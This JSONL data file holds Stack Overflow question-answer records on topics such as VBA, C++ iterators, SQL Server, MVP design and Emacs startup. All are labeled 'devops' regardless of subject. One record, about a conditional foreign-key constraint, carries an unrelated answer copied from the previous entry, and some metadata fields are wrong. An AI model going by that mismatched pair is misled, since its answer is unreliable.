{"id": "hf_35f743ab6171", "question": "<p>Is there a tool, method or setting in the standard VBA Editor to warn about variables that have been <code>Dim</code>'med, but aren't being used?</p>\n", "question_body": "", "answer": "MZ-Tools\nwill search through your code and tell you what is not being used. The version for VBA can be found\nhere\n.\nThe specific feature in MZ-Tools that performs what you asking about is\nReview Source Code\n:\nThe Review Source Code feature allows\n  you to review the source code to\n  detect some unused declarations\n  (constants, variables, parameters,\n  procedures, etc.).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:18.163863"}
{"id": "hf_01708b650614", "question": "<p>I'm writing some cross-platform code between Windows and Mac.</p>\n\n<p>If list::end() \"returns an iterator that addresses the location succeeding the last element in a list\" and can be checked when traversing a list forward,  what is the best way to traverse backwards?</p>\n\n<p>This code workson the Mac but not on Windows (can't decrement beyond first element):</p>\n\n<pre><code>list&lt;DVFGfxObj*&gt;::iterator iter = m_Objs.end();\nfor (iter--; iter!=m_Objs.end(); iter--)// By accident discovered that the iterator is circular ?\n{\n}\n</code></pre>\n\n<p>this works on Windows:</p>\n\n<pre><code>list&lt;DVFGfxObj*&gt;::iterator iter = m_Objs.end();\n    do{\n        iter--;\n    } while (*iter != *m_Objs.begin());\n</code></pre>\n\n<p>Is there another way to traverse backward that could be implemented in a for loop?</p>\n", "question_body": "", "answer": "Use\n```\nreverse_iterator\n```\ninstead of\n```\niterator\n```\n.\nUse\n```\nrbegin()\n```\n&\n```\nrend()\n```\ninstead of\n```\nbegin()\n```\n&\n```\nend()\n```\n.\nAnother possibility, if you like using the\n```\nBOOST_FOREACH\n```\nmacro is to use the\n```\nBOOST_REVERSE_FOREACH\n```\nmacro introduced in Boost 1.36.0.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:18.223908"}
{"id": "hf_2370ba1215cf", "question": "<p>I want to do this in code, not with ALT+F1.</p>\n", "question_body": "", "answer": "```\n```\nsp_help tablename\n```\n```\nIn the output look for something like this:\n```\n```\nIdentity     Seed     Increment     Not For Replication    \n -----------  -------  ------------  ---------------------- \n userid       15500    1             0\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:18.259418"}
{"id": "hf_cc211dd7a02c", "question": "<p>I would like a constraint on a SQL Server 2000 table column that is sort of a combination of a foreign key and a check constraint.  The value of my column must exist in the other table, but I am only concerned with values in the other table where one of its columns equal a specified value.  The simplified tables are:</p>\n\n<pre>\nimport_table:\npart_number  varchar(30)\nquantity     int\n\ninventory_master:\npart_number  varchar(30)\ntype         char(1)\n</pre>\n\n<p>So I want to ensure the <code>part_number</code> exists in <code>inventory_master</code>, but only if the type is 'C'.  Is this possible?  Thanks.</p>\n", "question_body": "", "answer": "```\n```\nsp_help tablename\n```\n```\nIn the output look for something like this:\n```\n```\nIdentity     Seed     Increment     Not For Replication    \n -----------  -------  ------------  ---------------------- \n userid       15500    1             0\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:18.282482"}
{"id": "hf_c491c285e662", "question": "<p>Is there any way to set the same icon to all my forms without having to change one by one?\nSomething like when you setup <code>GlobalAssemblyInfo</code> for all your projects inside your solution.</p>\n", "question_body": "", "answer": "One option would be to inherit from a common base-Form that sets the Icon in the constructor (presumably from a resx). Another option might be\nPostSharp\n- it seems like it should be possible to do this (set .Icon) via AOP; not trivial, though. Finally, you could use a simple utility method (perhaps an extension method) to do the same.\nBest of all, with the first option, you could probably risk a\nCtrl\n+\nH\n(replace all) from\n```\n: Form\n```\nor\n```\n: System.Windows.Forms.Form\n```\nto\n```\n: MyCustomForm\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:18.329228"}
{"id": "hf_274d75f343cf", "question": "<p>I would like to know if somebody often uses metrics to validate its code/design.\nAs example, I think I will use:</p>\n\n<ul>\n<li>number of lines per method (&lt; 20)</li>\n<li>number of variables per method (&lt; 7)</li>\n<li>number of paremeters per method (&lt; 8)</li>\n<li>number of methods per class (&lt; 20)</li>\n<li>number of field per class (&lt; 20)</li>\n<li>inheritance tree depth (&lt; 6).</li>\n<li>Lack of Cohesion in Methods</li>\n</ul>\n\n<p>Most of these metrics are very simple.</p>\n\n<p>What is your policy about this kind of mesure ? Do you use a tool to check their (e.g. NDepend) ?</p>\n", "question_body": "", "answer": "OO Metrics are a bit of a pet project for me (It was the subject of my master thesis). So yes I'm using these and I use a tool of my own.\nFor years the book \"Object Oriented Software Metrics\" by Mark Lorenz was the best resource for OO metrics. But recently I have seen more resources.\nUnfortunately I have other deadlines so no time to work on the tool. But eventually I will be adding new metrics (and new language constructs).\nUpdate\nWe are using the tool now to detect possible problems in the source. Several metrics we added (not all pure OO):\nuse of assert\nuse of magic constants\nuse of comments, in relation to the compelxity of methods\nstatement nesting level\nclass dependency\nnumber of public fields in a class\nrelative number of overridden methods\nuse of goto statements\nThere are still more. We keep the ones that give a good image of the pain spots in the code. So we have direct feedback if these are corrected.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:18.391365"}
{"id": "hf_c60740182958", "question": "<p>About 5000 computers will be making a call to a central server, and they will be passing in a GUID to the central server.</p>\n\n<p>The server will then return True/False back to the client.</p>\n\n<p>Is there a big difference in <strong>performance</strong> between a web service and a regular Http request to a Url on the server?</p>\n", "question_body": "", "answer": "I am not 100% sure on a performance benefit in response time, but a WebService request that returns just the true false, rather than a regular http request and then parsing the response I'm guessing would be more efficient overall.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:18.415245"}
{"id": "hf_29bc793479fb", "question": "<p>I'm having some minor problems with some animations I'm trying to set up.  I have a couple divs stacked on top of each other kind of like this.</p>\n\n<pre><code>&lt;div id=\"div1\"&gt;\n   Stuff...\n&lt;/div&gt;\n&lt;div id=\"div2\"&gt;\n   More Stuff...\n&lt;/div&gt;\n</code></pre>\n\n<p>Each of these divs has a drop shadow applied to it via jQuery plugin (jquery.dropshadow.js).</p>\n\n<p>The problem occurs when I expand one of the divs using some kind of animation.  The shadow does not update with the size of the div.  I can redraw the shadow in the callback of the animation but still looks pretty joggy.</p>\n\n<p>Is there a way that I can update the status of my shadows periodically throughout the course of the animation or can anyone recommend a better drop shadow library that would fix the problem?  It doesn't have to be jQuery plugin.</p>\n", "question_body": "", "answer": "Ok, I still don't know how you animate, but I give you another example:\n```\n```\n$('#foo').slideToggle().ready(function(){\n  $('#foo').dropShadow(options); \n});\n```\n```\nSo, instead of\n```\nslideToggle\n```\n, just use whatever animation\nthingy\nyou got.\nHope that helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:18.438628"}
{"id": "hf_a9824cdb2b93", "question": "<p>If I'm making a simple grid based game, for example, I might have a few 2d lists. One might be for terrain, another might be for objects, etc. Unfortunately, when I need to iterate over the lists and have the contents of a square in one list affect part of another list, I have to do something like this.</p>\n\n<pre><code>for i in range(len(alist)):\n    for j in range(len(alist[i])):\n        if alist[i][j].isWhatever:\n            blist[i][j].doSomething()\n</code></pre>\n\n<p>Is there a nicer way to do something like this?</p>\n", "question_body": "", "answer": "```\n```\nfor d1 in alist\n   for d2 in d1\n      if d2 = \"whatever\"\n          do_my_thing()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:18.462467"}
{"id": "hf_aa61ee2ae49d", "question": "<p>How can I get list all the files within a folder recursively in Java? </p>\n", "question_body": "", "answer": "```\n```\nimport java.io.File;\npublic class Test {\n    public static void main( String [] args ) {\n        File actual = new File(\".\");\n        for( File f : actual.listFiles()){\n            System.out.println( f.getName() );\n        }\n    }\n}\n```\n```\nIt displays indistinctly files and folders.\nSee the methods in File class to order them or avoid directory print etc.\nhttp://java.sun.com/javase/6/docs/api/java/io/File.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:18.485980"}
{"id": "hf_7bf028d4c2fa", "question": "<p>I moved a <a href=\"http://en.wikipedia.org/wiki/WordPress\" rel=\"noreferrer\">WordPress</a> installation to a new folder on a Windows/<a href=\"http://en.wikipedia.org/wiki/Internet_Information_Services\" rel=\"noreferrer\">IIS</a> server. I'm setting up 301 redirects in PHP, but it doesn't seem to be working. My post URLs have the following format:</p>\n\n<pre class=\"lang-none prettyprint-override\"><code>http:://www.example.com/OLD_FOLDER/index.php/post-title/\n</code></pre>\n\n<p>I can't figure out how to grab the <code>/post-title/</code> part of the URL.</p>\n\n<p><code>$_SERVER[\"REQUEST_URI\"]</code> - which everyone seems to recommend - is returning an empty string. <code>$_SERVER[\"PHP_SELF\"]</code> is just returning <code>index.php</code>. Why is this, and how can I fix it?</p>\n", "question_body": "", "answer": "```\n$_SERVER['REQUEST_URI']\n```\ndoesn't work on IIS, but I did find this:\nhttp://neosmart.net/blog/2006/100-apache-compliant-request_uri-for-iis-and-windows/\nwhich sounds promising.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:18.509711"}
{"id": "hf_fafad134841e", "question": "<p>using MVP, what is the normal order of construction and dependency injection.</p>\n\n<p>normally you create a presenter for each view and pass the view into the presenter on constructor.  But what if you have:</p>\n\n<ol>\n<li>A Service that multiple views need to listen to events on.</li>\n<li>Multiple views all pointing to the same data model cache.</li>\n</ol>\n\n<p>can someone display a normal flow of info from a user click to data coming back in a service from a server.</p>\n", "question_body": "", "answer": "Here is what I do:\nFirst, I define theses interfaces:\n```\n```\npublic interface IView<TPresenter>\n{\n    TPresenter Presenter { get; set; }\n}\n\npublic interface IPresenter<TView, TPresenter>\n    where TView : IView<TPresenter>\n    where TPresenter : IPresenter<TView, TPresenter>\n{\n    TView View { get; set; }\n}\n```\n```\nThen this abstract presenter class:\n```\n```\npublic abstract class AbstractPresenter<TView, TPresenter> : IPresenter<TView, TPresenter>\n    where TView : IView<TPresenter>\n    where TPresenter : class, IPresenter<TView, TPresenter>\n{\n    protected TView view;\n\n    public TView View\n    {\n        get { return this.view; }\n        set\n        {\n            this.view = value;\n            this.view.Presenter = this as TPresenter;\n        }\n    }\n}\n```\n```\nThe view is injected via a property, instead of the constructor, to allow the bi-directional affection in the setter. Notice that a safe cast is needed...\nThen, my concrete presenter is something like :\n```\n```\npublic class MyPresenter : AbstractPresenter<IMyView, MyPresenter>\n{\n    //...\n}\n```\n```\nWhere\n```\nIMyView\n```\nimplements\n```\nIView\n```\n. A concrete view type must exists (e.g.\n```\nMyView\n```\n), but it's the container that resolves it:\nI register\n```\nMyPresenter\n```\ntype as itself in the container, with a transient behavior.\nI register\n```\nMyView\n```\nas an\n```\nIMyView\n```\nin the container with a transient behavior.\nI then asks for a\n```\nMyPresenter\n```\nto the container.\nContainer instanciate a MyView\nIt instanciates a\n```\nMyPresenter\n```\nIt inject the view into the presenter through the\n```\nAbstractPresenter.View\n```\nproperty.\nThe setter code completes the bi-directional association\nThe container returns the couple Presenter/View\nIt allows you to inject other dependencies (services, repos) into both your view and your presenter.\nBut in the scenario you described, I recommend you to inject services and caches into the\npresenter\n, instead of the view.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:18.545649"}
{"id": "hf_78284732b169", "question": "<p>(See related question: <a href=\"https://stackoverflow.com/questions/162917/how-do-i-report-an-error-midway-through-a-chunked-http-repsonse-without-closing\">How do I report an error midway through a chunked http repsonse without closing the connection?</a>)</p>\n\n<p>In my case, the #1 desire is for the browser to display an error message.  No matter how uninformative.</p>\n\n<p>Closing the ServletResponse outputStream obviously doesn't work.  Neither does throwing an exception, even if I don't close first (tested on Tomcat 6.0.16).  I think that what I want is either a RST packet, FIN in the middle of a chunk, or badly formed chunk headers.</p>\n\n<p>After that I can worry about how various browsers respond.</p>\n\n<p>Edited for clarification: This is for a file download, perhaps several gigabytes of binary data.  I can't make certain that all of the data can be successfully read or decrypted before I have to start sending some of it.</p>\n", "question_body": "", "answer": "I think you're going about it the wrong way. It seems like it would be simpler to not actually start sending the data until you're sure if will be a success or a failure. That way you can send an error message at the start if needed, instead of sending partial data that's not valid.\nIf you really must, you might be able to wrangle something up with JavaScript. When you get to the error, output something like this before closing the connection:\n```\n```\n<script type=\"text/javascript\"> alert(\"Processing failed!\"); </script>\n```\n```\nYou might want to expand on the script, but you get the general idea. This is assuming that what's being sent back to the browser is a HTML page, you didn't specify that in the question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:18.585826"}
{"id": "hf_c35efb9d01ce", "question": "<p>I've got a bunch of unit tests built using Visual Studio 2005's built-in unit testing functionality.  For the last little while, it's been taking absolutely <i>forever</i> to start the tests... Everything just sits there at \"Pending\" for two minutes or more.  Now Visual Studio's decided to take things to a new level and never even start the tests.  After two to three minutes, it aborts the run and barfs an error message into the log:</p>\n\n<p>Failed to Queue Test Run '(blahblahblah)' with id {bfba05b1-afe5-499e-b452-29167f414f0f}: Microsoft.VisualStudio.TestTools.TestManagement.ExecutionException: Failed to establish communication environment for local run.</p>\n\n<p>Anyone have any ideas?  In the medium term, we are planning to switch to NUnit, but for now I'd prefer to stick to Visual Studio because the rest of the team already has that installed and that makes it easier to convince them to actually run the tests... ;-)</p>\n", "question_body": "", "answer": "Let me say this MS TEST is not a professional product and should be avoided whenever possible. If you want to use a good testing framework then use MBUnit with TestDriven.NET. MBUnit comes with many new attributes including RollBack and RowTest , Row.\nAlso, TestDriven.NET will allow you to debug your unit tests (How cool is that). You can also run the code coverage from TestDriven.NET which shows you how much of your code is covered under tests.\nGive it a try I am sure you like it.\nPS: IT is FREEE", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:18.609273"}
{"id": "hf_61482c4c652f", "question": "<p>I'm told that the template system in C++ is Turing-complete at compile time. This is mentioned in <a href=\"https://stackoverflow.com/questions/75538/hidden-features-of-c#75627\">this post</a> and also on <a href=\"http://en.wikipedia.org/wiki/C%2B%2B\" rel=\"noreferrer\">wikipedia</a>.</p>\n\n<p>Can you provide a nontrivial example of a computation that exploits this property?</p>\n\n<p>Is this fact useful in practice?</p>\n", "question_body": "", "answer": "\"\nC++ Templates Are Turing Complete\n\" gives an implementation of a Turing machine in templates ... which is non-trivial and proves the point in a very direct way.  Of course, it also isn't very useful!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:18.657446"}
{"id": "hf_ffba81e87546", "question": "<p>Using the following query and results, I'm looking for the most recent entry where the ChargeId and ChargeType are unique.</p>\n<pre><code>select chargeId, chargeType, serviceMonth from invoice\n\n    CHARGEID    CHARGETYPE  SERVICEMONTH\n1   101         R           8/1/2008\n2   161         N           2/1/2008\n3   101         R           2/1/2008\n4   101         R           3/1/2008\n5   101         R           4/1/2008\n6   101         R           5/1/2008\n7   101         R           6/1/2008\n8   101         R           7/1/2008\n</code></pre>\n<p>Desired:</p>\n<pre><code>    CHARGEID    CHARGETYPE  SERVICEMONTH\n1   101         R           8/1/2008\n2   161         N           2/1/2008\n</code></pre>\n", "question_body": "", "answer": "You can use a\nGROUP BY\nto group items by type and id.  Then you can use the\nMAX()\nAggregate function to get the most recent service month.  The below returns a result set with ChargeId, ChargeType, and MostRecentServiceMonth\n```\n```\nSELECT\n  CHARGEID,\n  CHARGETYPE,\n  MAX(SERVICEMONTH) AS \"MostRecentServiceMonth\"\nFROM INVOICE\nGROUP BY CHARGEID, CHARGETYPE\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:18.723142"}
{"id": "hf_fda3fb9f64d4", "question": "<p>I've got a Dell XPS M1330 with a 2.2ghz processor, 4gig ram, GeForce 8400M, and a 64GB SSD disk.</p>\n\n<p>I'm primarily doing web-development, sharepoint development, integration (Microsoft BI tools) and biztalk. I use virtual machines for these purposes. I've been using Vista 32Bit up until now but I'm considering moving to 64bit to squeeze that little extra ram out of the box.</p>\n\n<p>I'd like to hear if anyone has been using 64bit vista under the same circumstances and if anything should hold me back. Have in mind that this is the laptop I use at work.</p>\n", "question_body": "", "answer": "I have recently switched from a Vista 32 bit development machine to a Vista 64 bit development machine, with a quad-core intel processor, and 6gb of ram.  THe performance improvements have been quite impressive, and thus far, no \"issues\" with any development tools that I have been using.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:18.783381"}
{"id": "hf_1f1fc95bf45b", "question": "<p>I'm a Java developer and I have a question about automating a task I've been given. </p>\n\n<p>I'm having to 3 times daily, login to this website we have at work, select a few form elements and then click on submit to get a report printed out. </p>\n\n<p>I'm wondering how I can write some sort of script that will automate this task? Where should I start? What language should I do it in? I was thinking PHP might be able to do this or even a greasemonkey script possibly?</p>\n\n<p>Thanks a lot. </p>\n", "question_body": "", "answer": "It's called \"web scraping\" or \"screen scraping\", and there are a lot of libraries out there to do this.  I couldn't speak to a Java-specific tool, though: I'm a .Net guy (the .Net way would be System.Net.WebClient or System.Net.HttpWebRequest/System.Net.HttpWebResponse).  But I'm sure there's something.\nIn the meantime, the first step is go to the page where you input the form values and view the source of the page.  Look for the specific <form> element you're filling out, and see where it posts to (it's\naction\n).  Then, find any <input> <select>, <textarea> elements you use, including any hidden inputs for the form, and figure out what values you need to get.  That will tell you how to build your request once you find a library that will let you send it.\nIf you need to login to the site first to get to the page, things can be more complicated.  You may need to retrieve and parse a session value or be able to send certain cookies to the server.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:18.842388"}
{"id": "hf_73bff05edb67", "question": "<p>Odd behavior loading emacs on ubuntu, there seems to be some initialization that goes on that is not in the .emacs nor in any of the files emacs reports loading through \"emacs --debug-init\". I've found some references to font-related resizing but this behavior doesn't seem to be limited to that (e.g reappearing menus and toolbars). </p>\n\n<p>Does anyone have any additional information about the emacs initialization process?\nDoes it load /etc/emacs/site-start.d  files before or after the .emacs, and are there any other locations it loads by default?</p>\n", "question_body": "", "answer": "The sequence of the Emacs initialization is the following (at least, for Emacs 22):\nLoad the file\ndebian-startup\n(.el or .elc) found in\nload-path\n(usually,\n/usr/share/emacs/site-lisp/debian-startup.el\nor\n/usr/share/emacs22/site-lisp/debian-startup.elc\n) and call the function\ndebian-startup\ndefined in this file.  This function loads all files in\n/etc/emacs/site-start.d/\nand\n/etc/emacs22/site-start.d/\n.\nLoad\nsite-start\n(.el or .elc) found in\nload-path\n.\nLoad your init file\n.emacs\n,\n.emacs.el\nor\n~/.emacs.d/init.el\n.\nLoad a default init file\ndefault.el\nor\ndefault.elc\n.\nI also suggest you reading the section \"\nEmacs startup strategy\n\" in\n/usr/share/doc/emacsen-common/debian-emacs-policy.gz\nfor more Ubuntu/Debian specific information. To find the reason of odd behavior you can start emacs with the argument\n--no-site-file\nand load these init files one by one until you find a file that causes this behavior.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:18.868090"}
{"id": "hf_d8a0a1d2660b", "question": "<p>I am curious on how others manage code promotion from DEV to TEST to PROD within an enterprise.</p>\n\n<p>What tools or processes do you use to manage the \"red tape\", entry/exit criteria side of things?</p>\n\n<p>My current organisation is half stuck between some custom online forms type functionality and paper based dependencies to submit documents, gather approvals and reviews.</p>\n\n<p>All this is left in the project managers hands to track what has been submitted, passed review, approved and advise management if there are any roadblocks that may need approval to be \"overlooked\" before an application can be promoted to the next environment.</p>\n\n<p>A browser based application would be ideal... so whats out there? please show me that you googlefu is better than mine.</p>\n", "question_body": "", "answer": "It's hard to find one that's good via google.  There is a vast array of tools out there for issue management so I'll mention what we use and what we woudl like to use.\nWe currently use serena products.  They have worked well for us in the past.  Team Track is our issue management and handles the life cycle of any issue we work on.  Version Manager is our source control and has the feature of implementing promotional groups like DEV TEST And PROD.  We use DEV, TSTAGE, TEST, PSTAGE and PROD to signify the movement from one to the other, but it's much the same.  The two products integrate nicely so that the source associated with the issues is linked, but we have no build process setup in this environment.  It's expensive, but it works well.\nWe are looking ot move to a more common system using Jira for issue management, Subversion for source control, Fisheye to link the two together and Cruise Control for build management.  This is less expensive, totaling a few thousand for an enterprise lisence  and provides all the same features but with the added bonus of SVN which is a very nice code version mangager.\nI hope that helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:18.904287"}
{"id": "hf_2f5e7e4ac5de", "question": "<h2>Problem</h2>\n<p>Our web host provider is changing the IP address of one of the servers we are on. We have been given a time frame for when the switch will take place, but no exact details. Therefore, our current <em>poor man's</em> check requires a periodic page refresh on a browser to see if our website is still there.</p>\n<h2>Question</h2>\n<p>We are all programmers here and this is killing me that any manual checking is required. I would know how to do this in other languages, but want to know if there is a way to write a script in <strong>PowerShell</strong> to tackle this problem. Does anyone know how I might going about this?</p>\n", "question_body": "", "answer": "This will list the IP Address for each network adapter in your system.\n```\n```\nGet-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter IPEnabled=TRUE -ComputerName . | Select-Object -Property IPAddress\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:18.928672"}
{"id": "hf_72390e99c8ef", "question": "<p>I've been learning Java for about a month now, and not very familiar with a client/server situation like this one.</p>\n\n<p>Basically I ran into a situation where our client java software (GUI) displayed a nullpointerexception popup but no stack trace on the client side. Someone had to go check the server side for the stack trace.</p>\n\n<p>My question is, shouldn't the client side receive this precious information as well?  Are situations like that ok, the rationale being one only needs one copy of the stack trace?</p>\n", "question_body": "", "answer": "Not really.  It is not recommended to show the way your app works from behind to the client. Mainly for security reasons. Your stacktrace shows all the objects being called, methods and if compiled with debug info, even lines. That's too much information for the client, it is ok to have it on the server.\nThis among SQL injection, Cross side script and others that I cannot remember, improper exception handling is a security vulnerability.\nEDIT:\nHere are other vulnerabilities ( although I don't see this one listed :( )\nhttp://en.wikipedia.org/wiki/Vulnerability_(computing)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:18.952345"}
{"id": "hf_cd19671ab537", "question": "<p>I've just got a fresh Drupal 6 install. The CSS didn't work. Then I realized that a \"?U\" was appended, and Drupal couldn't find it. Does anyone know where to unset this?     </p>\n\n<pre><code>&lt;link type=\"text/css\" rel=\"stylesheet\" media=\"all\" href=\"/modules/node/node.css?U\" /&gt;\n&lt;link type=\"text/css\" rel=\"stylesheet\" media=\"all\" href=\"/modules/system/admin.css?U\" /&gt;\n&lt;link type=\"text/css\" rel=\"stylesheet\" media=\"all\" href=\"/modules/system/defaults.css?U\" /&gt;\n&lt;link type=\"text/css\" rel=\"stylesheet\" media=\"all\" href=\"/modules/system/system.css?U\" /&gt;\n&lt;link type=\"text/css\" rel=\"stylesheet\" media=\"all\" href=\"/modules/system/system-menus.css?U\" /&gt;\n&lt;link type=\"text/css\" rel=\"stylesheet\" media=\"all\" href=\"/modules/user/user.css?U\" /&gt;\n&lt;link type=\"text/css\" rel=\"stylesheet\" media=\"all\" href=\"/themes/bluemarine/style.css?U\" /&gt;\n</code></pre>\n", "question_body": "", "answer": "the ?U (or really any alphabet) is just a method drupal uses to cache information. it has no relevance to the location of the file (ie, node.css and node.css?U is in the same location to drupal).\nit sounds like you may have a different issue. perhaps you enabled your cache and moved things around? you may need to clear your cache. or, if you've modified your install variables perhaps you're picking up the wrong base path or something. it's hard to tell the exact issue based on the limited information given.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:19.004060"}
{"id": "hf_a33b325432e2", "question": "<p>Is there a way to find out what gcc flags a particular binary was compiled with?</p>\n", "question_body": "", "answer": "I don't think so.\nYou can see if it has debug symbols, which means -g was used ;) But I can't think of any way how you could find out which directories have been used to search for include headers for example.\nMaybe a better answer is possible if you only target for a specific flag; e.g. if you only want to know if the flag \"...\" was set when this binary was compiled or not. In that case, what flag would this be?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:19.028205"}
{"id": "hf_4c2088fb7697", "question": "<p>How do I write a regular expression to find all lines containing 665 and not having .pdf</p>\n\n<p>I can't seem to find how to do not in regex.  This is for Notepad++ syntax if it matters.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "The feature you'r looking for is look ahead patterns\n```\n```\n665(?!.*\\.pdf)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:19.075218"}
{"id": "hf_c18d05c85c66", "question": "<p>With a view to avoiding the construction of further barriers to migration whilst\nenhancing an existing vb6 program.\nIs there a way to achieve the same functionality as control arrays in vb6 without using them?</p>\n", "question_body": "", "answer": "Well, you could always create your own array of controls in code :) Perhaps a better container, though, is a Collection or Dictionary object. Depending on what you want to do, you could perhaps create a wrapper class for the control with a custom collection class... but creating an object model is far nicer using generics in .NET so probably best to keep it simple in VB6 for now.\nVBA Userforms lack support for control arrays, so why not Google for suggestions on how to mimic control arrays with VBA, Userforms, Excel, etc.\nBTW have you tried migrating control arrays from VB6 to VB.NET? Just a guess but considering they are commonly used in VB I imagine they are handled quite well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:19.111694"}
